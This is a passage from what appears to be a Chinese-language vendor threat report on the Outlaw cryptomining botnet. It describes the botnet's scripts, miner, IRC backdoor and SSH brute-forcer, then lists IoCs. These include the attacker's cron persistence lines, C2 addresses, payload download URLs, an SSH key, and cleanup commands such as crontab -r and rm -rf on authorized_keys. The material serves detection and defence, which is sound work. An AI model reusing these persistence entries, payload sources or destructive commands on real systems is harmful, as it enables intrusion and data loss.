483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS 179.43.139.84:80 179.43.139.85:442 185.165.169.188:80 185.165.169.188:442 185.247.224.154:80 sglt5wettkyseyxrvlmn453ivmeb3zqzqu3b3sgspcuxf2h6ggx2i4qd.onion:8080 3.2 功能分析 样本载荷文件整体目录结构如下图所示: 图 3‑1 载荷目录结构 3.2.1 未落地脚本——tddwrt7s.sh文件 tddwrt7s.sh文件主要功能是检查特定目录是否存在,如果存在则执行其中的初始化脚本;如果不存在,则进行一系列文件操作,包括删除旧文件、创建新目录、并最终执行另一个脚本。 图 3‑2 对载荷进行文件操作 3.2.2 执行后续脚本——initall文件 initall文件的功能是判断主目录下是否存在.configrc7目录,如果不存在,执行init2文件,如果存在,则退出。 图 3‑3 执行init2文件 3.2.3 写入计划任务——init/init2文件 init/init2这两个文件功能大致相同,其核心功能为在cron.d文件中写入计划任务,定期执行挖矿恶意样本。 图 3‑4 在cron.d文件中写入计划任务 3.2.4 a文件夹 3.2.4.1 检测与清除RedTail挖矿僵尸网络——a文件 a文件是a文件夹下的初始文件,该文件首先会删除当前用户的所有计划任务,检查是否具有root权限:如果是root,删除并重建/usr/bin/systemtd文件,禁用/usr/bin目录的写权限,以隐藏恶意文件或防止系统更新覆盖。 图 3‑5 检查是否具有root权限 接下来是检测与清除RedTail挖矿僵尸网络相关的恶意行为。具体分析如下:检查定时任务(crontab)中是否存在“redtail”、提取与“redtail”相关的文件路径、获取CPU占用最高的进程PID、终止高CPU占用的进程及其子进程、删除与“redtail”相关的文件、从计划任务中移除所有包含“redtail”的条目。 图 3‑6 检测与清除RedTail挖矿僵尸网络 创建一个名为upd的shell脚本文件,主要用于检查挖矿木马进程是否存活。如果已存在运行的进程,则退出。否则,启动run文件重新执行挖矿木马,确保持续运行。 图 3‑7 检查挖矿木马进程是否存活 通过检测CPU型号并设置特定的MSR寄存器值,以及优化hugepages的配置,来提高挖矿木马的效率。 图 3‑8 优化hugepages配置提高挖矿木马效率 3.2.4.2 启动挖矿程序——run文件 run文件用于启动并管理名为kswapd00的挖矿程序。它先停止潜在冲突进程,记录当前目录路径,后台运行挖矿程序并隐藏其输出,最后保存挖矿进程的PID以便后续管理。 图 3‑9 启动并管理名为kswapd00的挖矿程序 3.2.4.3 执行后续脚本——stop文件 stop文件的主要功能是执行init0文件以及清理目标系统中的指定文件和进程。具体包括:删除配置文件(如xmrig.json)、停止和结束多个与挖矿程序相关的潜在干扰的进程。 图 3‑10 执行init0文件 3.2.4.4 排查并清理竞品挖矿活动——init0文件 init0文件是一个可以全面排查并清理与挖矿活动相关的工具,该工具主要功能是检测并终止与加密货币挖矿相关的活动,包括清理文件、结束进程和阻断网络连接。 图 3‑11 排查并清理竞品挖矿活动 3.2.4.5 挖矿程序——kswapd00 该文件为开源挖矿程序XMRig改编而来,使用的版本为6.22.1,将挖矿配置文件内置在程序中。 图 3‑12 开源挖矿程序XMRig改编 3.2.5 b文件夹 3.2.5.1 执行后续脚本——a文件 a文件的主要功能是执行stop文件以及创建一个新的脚本sync并运行run文件。 图 3‑13 执行run文件 3.2.5.2 终止特定进程——stop文件 stop文件主要功能是终止一系列特定的进程,并且删除特定的文件。 图 3‑14 终止一系列特定的进程 3.2.5.3 IRC后门程序——run文件 run文件实际是一个ShellBot的Perl脚本,由开源Perl脚本Stealth Shellbot改编而来,通过443端口连接到IRC服务器,主要功能为端口扫描、DDoS攻击、反向Shell和发回状态消息等。 图 3‑15 IRC后门程序 3.2.6 c文件夹 3.2.6.1 执行后续脚本——start start文件会创建一个名为aptitude的Shell脚本,然后利用该脚本执行run文件。 图 3‑16 执行run文件 3.2.6.2 检查系统的CPU物理核心数和架构——run文件 run文件的主要功能是根据系统的CPU物理核心数和架构来决定是否在后台运行top程序,以及在运行前是否需要执行额外的等待和执行stop文件操作。 图 3‑17 检查系统的CPU物理核心数和架构 3.2.6.3 批量终止挖矿进程相关任务——stop文件 stop文件主要功能是批量终止与特定挖矿进程或系统监控进程等相关的任务,并清理临时文件。 图 3‑18 批量终止挖矿进程相关任务 3.2.6.4 获取目标主机系统架构——top文件 top文件首先会获取目标主机的系统架构,根据系统架构调整默认线程数,arm架构线程数设置为75,i686架构线程数设置为325,其他架构默认线程数为475。 图 3‑19 获取目标主机系统架构 随后执行kthreadadd脚本并传递参数,为后续扫描做准备。 图 3‑20 执行kthreadadd脚本并传递参数 3.2.6.5 对目标主机进行适配——kthreadadd kthreadadd文件针对不同系统架构提供对应的可执行文件,确保在目标设备上能够正确运行扫描程序。 图 3‑21 对目标主机进行适配 3.2.6.6 扫描和暴力破解工具——kthreadadd32/kthreadadd64文件 kthreadadd32/kthreadadd64文件是针对不同架构扫描和暴力破解工具,通过top文件传来的参数进行扫描,对扫描出来的IP地址进行针对性的22端口暴力破解。 图 3‑22 扫描和暴力破解工具命令行界面 该工具存在如下C2服务器地址连接。 图 3‑23 C2服务器地址 4 Outlaw挖矿僵尸网络落地排查与清除方案 4.1 Outlaw挖矿僵尸网络落地识别 1. 计划任务 /home/用户名/.configrc7/cron.d */30 * * * * /tmp/.kswapd00 || /home/pc/.configrc7/a/kswapd00 > /dev/null 2>&1 5 6 */2 * 0 /home/pc/.configrc7/a/upd>/dev/null 2>&1 @reboot /home/pc/.configrc7/a/upd>/dev/null 2>&1 5 8 * * 0 /home/pc/.configrc7/b/sync>/dev/null 2>&1 @reboot /home/pc/.configrc7/b/sync>/dev/null 2>&1 0 0 */3 * * /tmp/.X2pP-unix/.rsync/c/aptitude>/dev/null 2>&12. 文件 /tmp/.X2pP-unix/* /tmp/.kswapd00 /home/用户名/.configrc7*(root用户/root/.configrc7) /var/tmp/.kswapd003. 进程名 kthreadadd32/64 kauditd0edac0 4. 网络 185.165.169.188 179.43.139.83 88.218.17.122:80 179.43.139.84 179.43.139.85 185.247.224.154:805. SSH公钥 ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr 4.2 清除方案 1. 删除计划任务 crontab -r2. 删除相关文件 rm -rf /tmp/.X2pP-unix rm -rf /tmp/.kswapd00 rm -rf /var/tmp/.kswapd00 rm -rf /home/用户名/.configrc7(root用户/root/.configrc7)3. 结束相关进程 kthreadadd32/64 kauditd0 edac04. 删除SSH密钥 rm -rf /home/用户名/.ssh/authorized_keys 5 事件对应的ATT&CK映射图谱 针对攻击者投放挖矿木马的完整过程,安天梳理本次攻击事件对应的ATT&CK映射图谱如下图所示。 图 5‑1 事件对应的ATT&CK映射图谱 攻击者使用的技术点如下表所示: 表 5‑1 事件对应的ATT&CK技术行为描述表 ATT&CK阶段/类别 具体行为 注释 侦察 主动扫描 扫描22端口 初始访问 利用外部远程服务 利用SSH远程访问 执行 利用命令和脚本解释器 使用shell脚本 持久化 利用外部远程服务 利用SSH公钥持久化 利用计划任务/工作 创建计划任务 防御规避 修改文件和目录权限 修改文件和目录权限 删除信标 删除自身 混淆文件或信息 使用混淆技术混淆文件 凭证访问 暴力破解 SSH暴力破解 网络嗅探 扫描特定端口 命令与控制 使用应用层协议 使用IRC协议 影响 资源劫持 占用CPU资源 6 防护建议 针对挖矿攻击,安天建议企业采取如下防护措施: 1. 安装终端防护:安装反病毒软件,针对不同平台建议安装安天智甲终端防御系统Windows/Linux版本; 2. 加强SSH口令强度:避免使用弱口令,建议使用16位或更长的口令,包括大小写字母、数字和符号在内的组合,同时避免多个服务器使用相同口令; 3. 及时更新补丁:建议开启自动更新功能安装系统补丁,服务器应及时更新系统补丁; 4. 及时更新第三方应用补丁:建议及时更新第三方应用如Redis等应用程序补丁; 5. 开启日志:开启关键日志收集功能(安全日志、系统日志、错误日志、访问日志、传输日志和Cookie日志),为安全事件的追踪溯源提供基础; 6. 主机加固:对系统进行渗透测试及安全加固; 7. 部署入侵检测系统(IDS):部署流量监控类软件或设备,便于对恶意代码的发现与追踪溯源。安天探海威胁检测系统(PTD)以网络流量为检测分析对象,能精准检测出已知海量恶意代码和网络攻击活动,有效发现网络可疑行为、资产和各类未知威胁; 8. 安天服务:若遭受恶意软件攻击,建议及时隔离被攻击主机,并保护现场等待安全工程师对计算机进行排查;安天7*24小时服务热线:400-840-9234。 建议企业用户部署专业的终端安全防护产品,对本地新增和启动文件进行实时检测,并周期性进行网内病毒扫描。安天智甲终端安全系列产品(以下简称“智甲”)依托安天自研威胁检测引擎和内核级主动防御能力,可以有效查杀本次发现病毒样本。 智甲客户端通过主动防御能力实时检测本地脚本执行行为,对执行脚本进行威胁检测,一旦发现启动脚本为恶意文件,可自动拦截并向用户发送风险告警,保障终端环境安全。 图6-1运行恶意脚本时智甲成功拦截 7 IoCs IoCs 88.218.17[.]122 179.43.139[.]84 179.43.139[.]85 185.165.169[.]188 185.247.224[.]154 sglt5wettkyseyxrvlmn453ivmeb3zqzqu3b3sgspcuxf2h6ggx2i4qd.onion 179.43.139[.]83 179.43.180[.]82 179.43.180[.]83 185.247.224[.]154 185.196.9[.]59 185.196.8[.]139 hxxp://188.165.194.59/tddwrt7s.sh hxxp://188.165.194.59/dota3.tar.gz hxxp://193.86.16.40/tddwrt7s.sh hxxp://193.86.16.40/dota3.tar.gz hxxp://161.35.72.143/tddwrt7s.sh hxxp://80.79.125.90/dota3.tar.gz hxxp://157.245.129.95/dota3.tar.gz hxxp://152.32.202.213/dota3.tar.gz hxxp://185.140.12.250/dota3.tar.gz hxxp://188.165.194.59/dota3.tar.gz hxxp://161.35.231.77/dota3.tar.gz hxxp://213.199.46.247/dota3.tar.gz 6DA1E7B40CE4DDD784ABBA9594EF4468 1C36E8AAAC825BCB9A086ECF2A471C89 E8FFC6AAC5C2784B10319C25D229A44E 99EF3C8F719E40E4A2DBC34C45F6FB64 DD83F74474E80FCD3CA122AA9A05D583 5B4E8EFF7A4C6AC80AE09EB26D0617BF 参考资料 [1] 安天.典型挖矿家族系列分析一 丨Outlaw(亡命徒)挖矿僵尸网络[R/OL].(2022-11-03) https://www.antiy.cn/research/notice&report/research_report/20221103.html